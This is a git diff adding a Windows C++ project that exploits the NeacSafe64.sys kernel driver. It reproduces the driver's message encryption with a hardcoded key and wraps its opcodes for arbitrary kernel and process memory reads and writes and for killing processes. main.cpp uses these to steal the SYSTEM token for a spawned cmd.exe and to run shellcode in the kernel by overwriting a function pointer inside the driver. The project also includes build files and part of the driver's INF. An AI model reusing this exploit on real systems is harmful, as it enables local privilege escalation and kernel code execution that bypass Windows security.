diff --git a/NeacController.sln b/NeacController.sln new file mode 100644 index 0000000..976dc7e --- /dev/null +++ b/NeacController.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.32802.440 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "NeacController", "NeacController\NeacController.vcxproj", "{CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Debug|x64.ActiveCfg = Debug|x64 + {CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Debug|x64.Build.0 = Debug|x64 + {CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Debug|x86.ActiveCfg = Debug|Win32 + {CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Debug|x86.Build.0 = Debug|Win32 + {CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Release|x64.ActiveCfg = Release|x64 + {CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Release|x64.Build.0 = Release|x64 + {CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Release|x86.ActiveCfg = Release|Win32 + {CBEB2E8A-2DD1-4012-AC5B-80B2F2E14432}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {52461444-2090-44F8-A40C-24A3272C5F1D} + EndGlobalSection +EndGlobal diff --git a/NeacController/NeacController.vcxproj b/NeacController/NeacController.vcxproj new file mode 100644 index 0000000..2261a29 --- /dev/null +++ b/NeacController/NeacController.vcxproj @@ -0,0 +1,155 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {cbeb2e8a-2dd1-4012-ac5b-80b2f2e14432} + NeacController + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreadedDebug + + + Console + true + fltlib.lib;%(AdditionalDependencies) + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/NeacController/NeacController.vcxproj.filters b/NeacController/NeacController.vcxproj.filters new file mode 100644 index 0000000..cb3d2c3 --- /dev/null +++ b/NeacController/NeacController.vcxproj.filters @@ -0,0 +1,36 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + 源文件 + + + 源文件 + + + 源文件 + + + + + 源文件 + + + 源文件 + + + \ No newline at end of file diff --git a/NeacController/NeacController.vcxproj.user b/NeacController/NeacController.vcxproj.user new file mode 100644 index 0000000..88a5509 --- /dev/null +++ b/NeacController/NeacController.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/NeacController/controller.cpp b/NeacController/controller.cpp new file mode 100644 index 0000000..ed12879 --- /dev/null +++ b/NeacController/controller.cpp @@ -0,0 +1,332 @@ +#pragma once +#include"controller.h" +#pragma pack(1) +struct NEAC_FILTER_CONNECT { + DWORD Magic; + DWORD Version; + BYTE EncKey[32]; +}; +#pragma pack() +BYTE Key[33] = "FuckKeenFuckKeenFuckKeenFuckKeen"; +unsigned char enc_imm[] = +{ + 0x7A, 0x54, 0xE5, 0x41, 0x8B, 0xDB, 0xB0, 0x55, 0x7A, 0xBD, + 0x01, 0xBD, 0x1A, 0x7F, 0x9E, 0x17 +}; +void encrypt(unsigned int *buffer, unsigned int idx) +{ + __m128i v2; // xmm0 + unsigned int *result; // rax + int v4; // r9d + __m128i v5; // xmm0 + __m128i v8; // [rsp+20h] [rbp-18h] BYREF + + __m128i imm = _mm_load_si128((__m128i*)enc_imm); + __m128i zero; + memset(&zero, 0 ,sizeof(__m128i)); + v2 = _mm_cvtsi32_si128(idx); + result = &v8.m128i_u32[3]; + v8 = _mm_xor_si128( + _mm_shuffle_epi32(_mm_shufflelo_epi16(_mm_unpacklo_epi8(v2, v2), 0), 0), + imm); + v4 = 0; + v5 = _mm_cvtsi32_si128(0x4070E1Fu); + do + { + __m128i v6 = _mm_shufflelo_epi16(_mm_unpacklo_epi8(_mm_or_si128(_mm_cvtsi32_si128(*result), v5), zero), 27); + v6 = _mm_packus_epi16(v6, v6); + *buffer = (*buffer ^ ~idx) ^ v6.m128i_u32[0] ^ idx; + ++buffer; + result = (unsigned int *)((char *)result - 1); + v4++; + } + while ( v4 < 4 ); + return; +} + +void encode_payload(PBYTE key, PBYTE buffer, SIZE_T size) { + for(int i = 0; i < size; i++) { + buffer[i] ^= key[i & 31]; + } + unsigned int* ptr = (unsigned int*)buffer; + unsigned int v12 = 0; + do + { + encrypt(ptr, v12++); + ptr += 4; + } + while ( v12 < size >> 4 ); +} + +HANDLE connect_driver() { + NEAC_FILTER_CONNECT lpContext; + lpContext.Magic = 0x4655434B; + lpContext.Version = 8; + memcpy(lpContext.EncKey, Key, 32); + HANDLE hPort; + HRESULT hResult = FilterConnectCommunicationPort(L"\\OWNeacSafePort", + FLT_PORT_FLAG_SYNC_HANDLE, + &lpContext, + 40, + NULL, + &hPort + ); + if(hResult != S_OK || hPort == INVALID_HANDLE_VALUE) { + return INVALID_HANDLE_VALUE; + } + return hPort; +} + +#pragma pack(1) +struct GET_PROC_BASE_PACKET { + BYTE Opcode; + DWORD Pid; +}; +#pragma pack() +PVOID get_proc_base(HANDLE hPort, DWORD Pid) { + const int buffersize = (sizeof(GET_PROC_BASE_PACKET) / 16 + 1) * 16; + BYTE buffer[buffersize]; + GET_PROC_BASE_PACKET *ptr = (GET_PROC_BASE_PACKET *)buffer; + ptr->Pid = Pid; + ptr->Opcode = 32; + encode_payload(Key, buffer, 16); + + BYTE result[16]; + DWORD out; + HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, result, 16, &out); + if(hResult == S_OK) { + PVOID *data = (PVOID*)result; + return *data; + } + return NULL; +} +#pragma pack(1) +struct READ_MEMORY_PACKET { + BYTE Opcode; + DWORD Pid; + PVOID Addr; + DWORD Size; +}; +#pragma pack() +DWORD read_proc_memory(HANDLE hPort, DWORD Pid, PVOID Addr, DWORD Size, PVOID Out) { + const int buffersize = (sizeof(READ_MEMORY_PACKET) / 16 + 1) * 16; + BYTE buffer[buffersize]; + READ_MEMORY_PACKET *ptr = (READ_MEMORY_PACKET *)buffer; + ptr->Pid = Pid; + ptr->Opcode = 9; + ptr->Addr = Addr; + ptr->Size = Size; + encode_payload(Key, buffer, buffersize); + + DWORD out_size; + + HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, Out, Size, &out_size); + if(hResult == S_OK) { + return out_size; + } + return 0; +} + +#pragma pack(1) +struct WRITE_MEMORY_PACKET { + BYTE Opcode; + DWORD Pid; + PVOID Addr; + DWORD Size; +}; +#pragma pack() + +DWORD write_proc_memory(HANDLE hPort, DWORD Pid, PVOID Addr, DWORD Size, PVOID In) { + const int buffersize = (sizeof(WRITE_MEMORY_PACKET) / 16 + 1) * 16; + BYTE buffer[buffersize]; + WRITE_MEMORY_PACKET *ptr = (WRITE_MEMORY_PACKET *)buffer; + ptr->Pid = Pid; + ptr->Opcode = 61; + ptr->Addr = Addr; + ptr->Size = Size; + encode_payload(Key, buffer, buffersize); + + DWORD out_size; + + HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, In, Size, &out_size); + if(hResult == S_OK) { + return out_size; + } + return 0; +} + +#pragma pack(1) +struct PROTECT_MEMORY_PACKET { + BYTE Opcode; + DWORD Pid; + PVOID Addr; + DWORD Size; + DWORD NewProtect; +}; +#pragma pack() + +BOOL protect_memory(HANDLE hPort, DWORD Pid, PVOID Addr, DWORD Size, DWORD NewProtect) { + const int buffersize = (sizeof(PROTECT_MEMORY_PACKET) / 16 + 1) * 16; + BYTE buffer[buffersize]; + PROTECT_MEMORY_PACKET *ptr = (PROTECT_MEMORY_PACKET *)buffer; + ptr->Pid = Pid; + ptr->Opcode = 60; + ptr->Addr = Addr; + ptr->Size = Size; + ptr->NewProtect = NewProtect; + encode_payload(Key, buffer, buffersize); + + DWORD out_size; + + HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, NULL, NULL, &out_size); + if(hResult == S_OK) { + return TRUE; + } + return FALSE; +} +#pragma pack(1) +struct START_WATCH_PACKET { + BYTE Opcode; + BYTE FunctionId; + BYTE State; +}; +#pragma pack() + +BOOL update_state(HANDLE hPort, BYTE FunctionId, BYTE State) { + const int buffersize = (sizeof(START_WATCH_PACKET) / 16 + 1) * 16; + BYTE buffer[buffersize]; + START_WATCH_PACKET *ptr = (START_WATCH_PACKET *)buffer; + ptr->Opcode = 1; + ptr->FunctionId = FunctionId; + ptr->State = State; + encode_payload(Key, buffer, buffersize); + + DWORD out_size; + + HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, NULL, NULL, &out_size); + if(hResult == S_OK) { + return TRUE; + } + return FALSE; +} + +#pragma pack(1) +struct KERNEL_WRITE_PACKET { + BYTE Opcode; + PVOID Dst; + PVOID Src; + DWORD Size; +}; +#pragma pack() + +BOOL kernel_write_data(HANDLE hPort, PVOID Dst, PVOID Src, DWORD Size) { + const int buffersize = (sizeof(KERNEL_WRITE_PACKET) / 16 + 1) * 16; + BYTE buffer[buffersize]; + KERNEL_WRITE_PACKET *ptr = (KERNEL_WRITE_PACKET *)buffer; + ptr->Opcode = 70; + ptr->Dst = Dst; + ptr->Src = Src; + ptr->Size = Size; + encode_payload(Key, buffer, buffersize); + + DWORD out_size; + + HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, NULL, NULL, &out_size); + if(hResult == S_OK) { + return TRUE; + } + return FALSE; +} + +#pragma pack(1) +struct KERNEL_READ_PACKET { + BYTE Opcode; + PVOID Src; + DWORD Size; +}; +#pragma pack() + +BOOL kernel_read_data(HANDLE hPort, PVOID Dst, PVOID Src, DWORD Size) { + const int buffersize = (sizeof(KERNEL_READ_PACKET) / 16 + 1) * 16; + BYTE buffer[buffersize]; + KERNEL_READ_PACKET *ptr = (KERNEL_READ_PACKET *)buffer; + ptr->Opcode = 14; + ptr->Src = Src; + ptr->Size = Size; + encode_payload(Key, buffer, buffersize); + + DWORD out_size; + HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, Dst, Size, &out_size); + if(hResult == S_OK) { + return TRUE; + } + return FALSE; +} + +#pragma pack(1) +struct KILL_PROCESS_PACKET { + BYTE Opcode; + DWORD Pid; +}; +#pragma pack() + +BOOL kill_process(HANDLE hPort, DWORD Pid) { + const int buffersize = (sizeof(KILL_PROCESS_PACKET) / 16 + 1) * 16; + BYTE buffer[buffersize]; + KILL_PROCESS_PACKET *ptr = (KILL_PROCESS_PACKET *)buffer; + ptr->Opcode = 20; + ptr->Pid = Pid; + encode_payload(Key, buffer, buffersize); + + DWORD out_size; + HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, NULL, NULL, &out_size); + if(hResult == S_OK) { + return TRUE; + } + return FALSE; +} + +#pragma pack(1) +struct GET_SSDT_PACKET { + BYTE Opcode; +}; +#pragma pack() + +BOOL get_ssdt_items(HANDLE hPort, PVOID Out, DWORD Size) { + const int buffersize = (sizeof(GET_SSDT_PACKET) / 16 + 1) * 16; + BYTE buffer[buffersize]; + GET_SSDT_PACKET *ptr = (GET_SSDT_PACKET *)buffer; + ptr->Opcode = 12; + encode_payload(Key, buffer, buffersize); + + DWORD out_size; + HRESULT hResult = FilterSendMessage(hPort, buffer, buffersize, Out, Size, &out_size); + + if(hResult == S_OK) { + return TRUE; + } + return FALSE; +} + + + +#pragma pack(1) +struct NOTIFY_MESSAGE_BASE { + FILTER_MESSAGE_HEADER Header; + BYTE NotifyType; + DWORD MessageSize; + DWORD64 Time; +}; +struct PROCESS_NOTIFY_MESSAGE : NOTIFY_MESSAGE_BASE { + DWORD64 Counter; + BYTE Flag; + BYTE CreateFlag; + DWORD CurrentPid; + DWORD CurrentTid; + DWORD ParentPid; + BYTE Padding[13]; + WCHAR ProcName1[512]; + WCHAR ProcName2[512]; + PVOID BackTrace[32]; +}; +#pragma pack() \ No newline at end of file diff --git a/NeacController/controller.h b/NeacController/controller.h new file mode 100644 index 0000000..5afa08c --- /dev/null +++ b/NeacController/controller.h @@ -0,0 +1,24 @@ +#pragma once +#include +#include +#include +#include +HANDLE connect_driver(); + +PVOID get_proc_base(HANDLE hPort, DWORD Pid); + +DWORD read_proc_memory(HANDLE hPort, DWORD Pid, PVOID Addr, DWORD Size, PVOID Out); + +DWORD write_proc_memory(HANDLE hPort, DWORD Pid, PVOID Addr, DWORD Size, PVOID In); + +BOOL protect_memory(HANDLE hPort, DWORD Pid, PVOID Addr, DWORD Size, DWORD NewProtect); + +BOOL update_state(HANDLE hPort, BYTE FunctionId, BYTE State); + +BOOL kernel_write_data(HANDLE hPort, PVOID Dst, PVOID Src, DWORD Size); + +BOOL kernel_read_data(HANDLE hPort, PVOID Dst, PVOID Src, DWORD Size); + +BOOL kill_process(HANDLE hPort, DWORD Pid); + +BOOL get_ssdt_items(HANDLE hPort, PVOID Out, DWORD Size); \ No newline at end of file diff --git a/NeacController/main.cpp b/NeacController/main.cpp new file mode 100644 index 0000000..4d836cd --- /dev/null +++ b/NeacController/main.cpp @@ -0,0 +1,252 @@ +// NeacController.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 +// + +#include + +#include +#include"controller.h" +#include"service.h" + +DWORD parse_export_rva(const BYTE* moduleBase, const char* funcName) { + PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)moduleBase; + if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) return 0; + + PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(moduleBase + dosHeader->e_lfanew); + IMAGE_DATA_DIRECTORY exportDirEntry = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + if (exportDirEntry.VirtualAddress == 0) return 0; + + PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)(moduleBase + exportDirEntry.VirtualAddress); + DWORD* nameRvas = (DWORD*)(moduleBase + exportDir->AddressOfNames); + WORD* ordinals = (WORD*)(moduleBase + exportDir->AddressOfNameOrdinals); + DWORD* funcRvas = (DWORD*)(moduleBase + exportDir->AddressOfFunctions); + + for (DWORD i = 0; i < exportDir->NumberOfNames; i++) { + const char* name = (const char*)(moduleBase + nameRvas[i]); + if (_stricmp(name, funcName) == 0) { + WORD ordinal = ordinals[i]; + return funcRvas[ordinal]; + } + } + return 0; +} +DWORD get_export_rva(const char *funcName) { + char system32Path[MAX_PATH]; + + GetSystemDirectoryA(system32Path, MAX_PATH); + + std::string kernelPath = std::string(system32Path) + "\\ntoskrnl.exe"; + + HANDLE hFile = CreateFileA(kernelPath.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); + if (hFile == INVALID_HANDLE_VALUE) { + return NULL; + } + + HANDLE hMapping = CreateFileMapping( + hFile, + NULL, + SEC_IMAGE | PAGE_READONLY, + 0, 0, + NULL + );; + if (!hMapping) { + CloseHandle(hFile); + return NULL; + } + const BYTE* fileBase = (const BYTE*)MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0); + if (!fileBase) { + CloseHandle(hMapping); + CloseHandle(hFile); + return NULL; + } + + DWORD rva = parse_export_rva(fileBase, funcName); + UnmapViewOfFile(fileBase); + + CloseHandle(hMapping); + CloseHandle(hFile); + return rva; +} + +PVOID SSDT_Items[0x1000]; +HANDLE hPort; +PVOID find_krnl_images(PVOID PsLoadedModuleList, const wchar_t* name) { + PVOID Ptr; + kernel_read_data(hPort, &Ptr, PsLoadedModuleList, 8); + WCHAR ModuleName[260] = {0}; + while(Ptr != PsLoadedModuleList) { + memset(ModuleName, 0, sizeof(ModuleName)); + PVOID DllBase; + kernel_read_data(hPort, &DllBase, (PBYTE)Ptr + 0x30, 8); + + USHORT NameSize; + kernel_read_data(hPort, &NameSize, (PBYTE)Ptr + 0x58, 2); + + PVOID NameAddr; + kernel_read_data(hPort, &NameAddr, (PBYTE)Ptr + 0x60, 8); + + kernel_read_data(hPort, &ModuleName, NameAddr, NameSize); + if(!lstrcmpW(ModuleName, name)) { + return DllBase; + } + kernel_read_data(hPort, &Ptr, Ptr, 8); + } + return NULL; +} + +BOOL execute_shellcode(PVOID NeacSafe64Base, BYTE *Shellcode, DWORD Size) { + if(Size > 0x10000) { + return FALSE; + } + PVOID MemPtrAddr = (PVOID)((PBYTE)NeacSafe64Base + 0x2165C0); + PVOID NonPagedPool; + // try to get the address of NonPagedPool buffer in NeacSafe64.sys. + if(!kernel_read_data(hPort, &NonPagedPool, MemPtrAddr, 8)) { + return FALSE; + } + // write shellcodes to the buffer + if(!kernel_write_data(hPort, NonPagedPool, Shellcode, Size)) { + return FALSE; + } + // change the function pointer(NtProtectVirtualMemory) to NonPagedPool buffer. + PVOID FuncPtrAddr = (PVOID)((PBYTE)NeacSafe64Base + 0x219EA0); + if(!kernel_write_data(hPort, FuncPtrAddr, &NonPagedPool, 8)) { + return FALSE; + } + // call the function pointer and execute the shellcode. + protect_memory(hPort, GetCurrentProcessId(), GetModuleHandle(NULL), 16, 0); + return TRUE; +} + +void privileges_escalation(PVOID KrnlBase) { + DWORD va = get_export_rva("PsInitialSystemProcess"); + if(va == NULL) { + return; + } + PVOID PsInitialSystemProcess = (PVOID)((PBYTE)KrnlBase + va); + PVOID PsInitialSystemProcessEPROCESS; + + if(!kernel_read_data(hPort, &PsInitialSystemProcessEPROCESS, PsInitialSystemProcess, 8)) { + printf("[!] fail to get PsInitialSystemProcess EPROCESS...\n"); + return; + } + printf("[+] PsInitialSystemProcess EPROCESS: %p\n", PsInitialSystemProcessEPROCESS); + // These tokens will need updating if you are on a different version of Windows! + // The offsets can be found here: https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/ntos/ps/eprocess/index.htm + + uintptr_t TokenOffset = 0x04B8; // Windows 10 21H2+ and Windows 11 only + uintptr_t PIDOffset = 0x0440; // Windows 10 21H2+ and Windows 11 only + uintptr_t ActiveProcessLinksOffset = 0x0448; // Windows 10 21H2+ and Windows 11 only + + PVOID SystemToken; + if(!kernel_read_data(hPort, &SystemToken, (PBYTE)PsInitialSystemProcessEPROCESS + TokenOffset, 8)) { + printf("[!] fail to get SystemToken.\n"); + return; + } + printf("[+] SystemToken: %p\n", SystemToken); + + STARTUPINFOA si = {0}; + PROCESS_INFORMATION pi; + CreateProcessA( + "C:\\Windows\\system32\\cmd.exe", + nullptr, + nullptr, + nullptr, + TRUE, + CREATE_NEW_CONSOLE, + nullptr, + "C:\\Windows", + &si, + &pi + ); + DWORD OurShellPID = pi.dwProcessId; + + + LIST_ENTRY activeProcessLinkList; + uint64_t NextProcessEPROCESSBlock = (uint64_t)PsInitialSystemProcessEPROCESS; + if(!kernel_read_data(hPort, &activeProcessLinkList, (PBYTE)PsInitialSystemProcessEPROCESS + ActiveProcessLinksOffset, sizeof(LIST_ENTRY))) { + printf("[!] fail to get ActiveProcessLinks\n"); + return; + } + // You can fetch every single process' EPROCESS block from this original Kernel list, we iterate through it till we find our shell's PID. + while (true) { + DWORD processPID; + NextProcessEPROCESSBlock = (uint64_t) activeProcessLinkList.Flink - ActiveProcessLinksOffset; + // Fetch PID and compare it + + if(!kernel_read_data(hPort, &processPID, (PBYTE)NextProcessEPROCESSBlock + PIDOffset, 4)) { + printf("[!] fail to read memory\n"); + return; + } + if (processPID == OurShellPID) { + + PVOID OurShellsToken; + if(!kernel_read_data(hPort, &OurShellsToken, (PBYTE)NextProcessEPROCESSBlock + TokenOffset, 8)) { + printf("[!] fail to read Token..\n"); + return; + } + printf("[+] Token: %p\n", OurShellsToken); + + if(!kernel_write_data(hPort, (PBYTE)NextProcessEPROCESSBlock + TokenOffset, &SystemToken, 8)) { + printf("[!] fail to write Token..\n"); + return; + } + printf("[+] Success..."); + break; + } + + // go to next process' EPROCESS. + kernel_read_data(hPort, &activeProcessLinkList, (PBYTE)NextProcessEPROCESSBlock + ActiveProcessLinksOffset, sizeof(LIST_ENTRY)); + } + +} +int main() +{ + start_driver(); + hPort = connect_driver(); + if(hPort == INVALID_HANDLE_VALUE) { + printf("[!] fail to connect to driver\n"); + } + get_ssdt_items(hPort, SSDT_Items, sizeof(SSDT_Items)); + DWORD rva = get_export_rva("NtWaitForSingleObject"); + if(rva == 0) { + printf("[!] fail to get the rva of NtWaitForSingleObject\n"); + return 0; + } + if(SSDT_Items[4] == 0) { + printf("[!] fail to get the address of NtWaitForSingleObject\n"); + return 0; + } + PVOID KrnlBase = (PVOID)((PBYTE)SSDT_Items[4] - rva); + // calcuating the kernel module base. + printf("[+] kernel module base address: %p\n", KrnlBase); + + rva = get_export_rva("PsLoadedModuleList"); + if(rva == 0) { + printf("[!] fail to get the rva of PsLoadedModuleList\n"); + return 0; + } + PVOID PsLoadedModuleList = (PVOID)((PBYTE)KrnlBase + rva); + PVOID NeacSafe64Base = find_krnl_images(PsLoadedModuleList, L"NeacSafe64.sys"); + if(!NeacSafe64Base) { + printf("[!] fail to get the module base address of NeacSafe64.sys\n"); + return 0; + } + printf("[+] NeacSafe64.sys module base address: %p\n", NeacSafe64Base); + + // test Escalation of Privileges + privileges_escalation(KrnlBase); + + // test Code Execution + BYTE Shellcode[2] = {0xC3, 0xCC}; // execute shellcode: ret, nothing will happen. + execute_shellcode(NeacSafe64Base, Shellcode, 2); + + /* + BYTE Shellcode[2] = {0xCC, 0xCC}; // execute shellcode: int 3, this will cause BSOD. + execute_shellcode(NeacSafe64Base, Shellcode, 2); + */ + getchar(); + CloseHandle(hPort); + stop_driver(); + return 0; + +} \ No newline at end of file diff --git a/NeacController/service.cpp b/NeacController/service.cpp new file mode 100644 index 0000000..3a677f4 --- /dev/null +++ b/NeacController/service.cpp @@ -0,0 +1,140 @@ +#include"service.h" +#include +int start_driver() { + + const wchar_t* SERVICE_NAME = L"NeacSafe64"; + + SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT | SC_MANAGER_ENUMERATE_SERVICE); + if (!scm) { + printf("[!] OpenSCManager failed (Error: %d)\n", GetLastError()); + return 1; + } + + SC_HANDLE service = OpenService( + scm, + SERVICE_NAME, + SERVICE_QUERY_STATUS | SERVICE_START | SERVICE_STOP + ); + + if (!service) { + DWORD err = GetLastError(); + if (err == ERROR_SERVICE_DOES_NOT_EXIST) { + printf("[!] service not exist\n"); + } else { + printf("[!] OpenService failed (Error: %d)\n", err); + } + CloseServiceHandle(scm); + return 1; + } + + SERVICE_STATUS_PROCESS status; + DWORD bytesNeeded; + if (!QueryServiceStatusEx( + service, + SC_STATUS_PROCESS_INFO, + (LPBYTE)&status, + sizeof(status), + &bytesNeeded) + ) { + printf("[!] QueryServiceStatusEx failed (Error: %d)\n", GetLastError()); + CloseServiceHandle(service); + CloseServiceHandle(scm); + return 1; + } + if (status.dwCurrentState != SERVICE_RUNNING) { + printf("[*] starting...\n"); + if (!StartService(service, 0, NULL)) { + DWORD err = GetLastError(); + if (err == ERROR_SERVICE_ALREADY_RUNNING) { + printf("[+] already started\n"); + } else { + printf("[!] StartService failed (Error: %d)\n", err); + CloseServiceHandle(service); + CloseServiceHandle(scm); + return 1; + } + } else { + printf("[+] started.\n"); + } + } + CloseServiceHandle(service); + CloseServiceHandle(scm); + return 0; +} + +int stop_driver() { + + const wchar_t* SERVICE_NAME = L"NeacSafe64"; + + SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT | SC_MANAGER_ENUMERATE_SERVICE); + if (!scm) { + printf("[!] OpenSCManager failed (Error: %d)\n", GetLastError()); + return 1; + } + + SC_HANDLE service = OpenService( + scm, + SERVICE_NAME, + SERVICE_QUERY_STATUS | SERVICE_START | SERVICE_STOP + ); + + if (!service) { + DWORD err = GetLastError(); + if (err == ERROR_SERVICE_DOES_NOT_EXIST) { + printf("[!] service not exist\n"); + } else { + printf("[!] OpenService failed (Error: %d)\n", err); + } + CloseServiceHandle(scm); + return 1; + } + + SERVICE_STATUS_PROCESS status; + DWORD bytesNeeded; + if (!QueryServiceStatusEx( + service, + SC_STATUS_PROCESS_INFO, + (LPBYTE)&status, + sizeof(status), + &bytesNeeded) + ) { + printf("[!] QueryServiceStatusEx failed (Error: %d)\n", GetLastError()); + CloseServiceHandle(service); + CloseServiceHandle(scm); + return 1; + } + if (status.dwCurrentState == SERVICE_RUNNING) { + printf("[*] stopping...\n"); + SERVICE_STATUS stopStatus; + if (!ControlService(service, SERVICE_CONTROL_STOP, &stopStatus)) { + CloseServiceHandle(service); + CloseServiceHandle(scm); + return 1; + } + DWORD64 startTime = GetTickCount64(); + while (status.dwCurrentState != SERVICE_STOPPED) { + Sleep(1000); + if (!QueryServiceStatusEx( + service, + SC_STATUS_PROCESS_INFO, + (LPBYTE)&status, + sizeof(status), + &bytesNeeded) + ) { + printf("[!] QueryServiceStatusEx failed (Error: %d)\n", GetLastError()); + break; + } + + if (GetTickCount64() - startTime > 30000) { + printf("[!] time out\n"); + CloseServiceHandle(service); + CloseServiceHandle(scm); + return 1; + } + } + printf("[+] stopped\n"); + } + CloseServiceHandle(service); + CloseServiceHandle(scm); + return 0; +} \ No newline at end of file diff --git a/NeacController/service.h b/NeacController/service.h new file mode 100644 index 0000000..47bf16c --- /dev/null +++ b/NeacController/service.h @@ -0,0 +1,5 @@ +#include + +int start_driver(); + +int stop_driver(); \ No newline at end of file diff --git a/NeacController/x64/Debug/NeacController.Build.CppClean.log b/NeacController/x64/Debug/NeacController.Build.CppClean.log new file mode 100644 index 0000000..98e2302 --- /dev/null +++ b/NeacController/x64/Debug/NeacController.Build.CppClean.log @@ -0,0 +1,14 @@ +d:\github\neaccontroller\neaccontroller\x64\debug\vc142.pdb +d:\github\neaccontroller\neaccontroller\x64\debug\vc142.idb +d:\github\neaccontroller\neaccontroller\x64\debug\service.obj +d:\github\neaccontroller\neaccontroller\x64\debug\main.obj +d:\github\neaccontroller\neaccontroller\x64\debug\controller.obj +d:\github\neaccontroller\neaccontroller\x64\debug\neaccontroller.ilk +d:\github\neaccontroller\x64\debug\neaccontroller.exe +d:\github\neaccontroller\x64\debug\neaccontroller.pdb +d:\github\neaccontroller\neaccontroller\x64\debug\neaccontroller.tlog\cl.command.1.tlog +d:\github\neaccontroller\neaccontroller\x64\debug\neaccontroller.tlog\cl.read.1.tlog +d:\github\neaccontroller\neaccontroller\x64\debug\neaccontroller.tlog\cl.write.1.tlog +d:\github\neaccontroller\neaccontroller\x64\debug\neaccontroller.tlog\link.command.1.tlog +d:\github\neaccontroller\neaccontroller\x64\debug\neaccontroller.tlog\link.read.1.tlog +d:\github\neaccontroller\neaccontroller\x64\debug\neaccontroller.tlog\link.write.1.tlog diff --git a/NeacController/x64/Debug/NeacController.exe.recipe b/NeacController/x64/Debug/NeacController.exe.recipe new file mode 100644 index 0000000..ac99f5b --- /dev/null +++ b/NeacController/x64/Debug/NeacController.exe.recipe @@ -0,0 +1,11 @@ + + + + + D:\GitHub\NeacController\x64\Debug\NeacController.exe + + + + + + \ No newline at end of file diff --git a/NeacController/x64/Debug/NeacController.log b/NeacController/x64/Debug/NeacController.log new file mode 100644 index 0000000..5f28270 --- /dev/null +++ b/NeacController/x64/Debug/NeacController.log @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/NeacController/x64/Debug/NeacController.vcxproj.FileListAbsolute.txt b/NeacController/x64/Debug/NeacController.vcxproj.FileListAbsolute.txt new file mode 100644 index 0000000..e69de29 diff --git a/NeacDriver/NeacSafe64.inf b/NeacDriver/NeacSafe64.inf new file mode 100644 index 0000000..bbae872 --- /dev/null +++ b/NeacDriver/NeacSafe64.inf @@ -0,0 +1,86 @@ +[Version] +Signature = "$Windows NT$" +Class = "ActivityMonitor" ;This is determined by the work this filter driver does +ClassGuid = {b86dff51-a31e-4bac-b3cf-e8cfe75c9fc2} ;This value is determined by the Class +Provider = %ProviderString% +DriverVer = 12/17/2021,17.41.6.64 + +[DestinationDirs] +DefaultDestDir = 12 +NeacSafe64.DriverFiles = 12 ;%windir%\system32\drivers + +;; +;; Default install sections +;; + +[DefaultInstall] +OptionDesc = %ServiceDescription% +CopyFiles = NeacSafe64.DriverFiles + +[DefaultInstall.Services] +AddService = %ServiceName%,,NeacSafe64.Service + +;; +;; Default uninstall sections +;; + +[DefaultUninstall] +DelFiles = 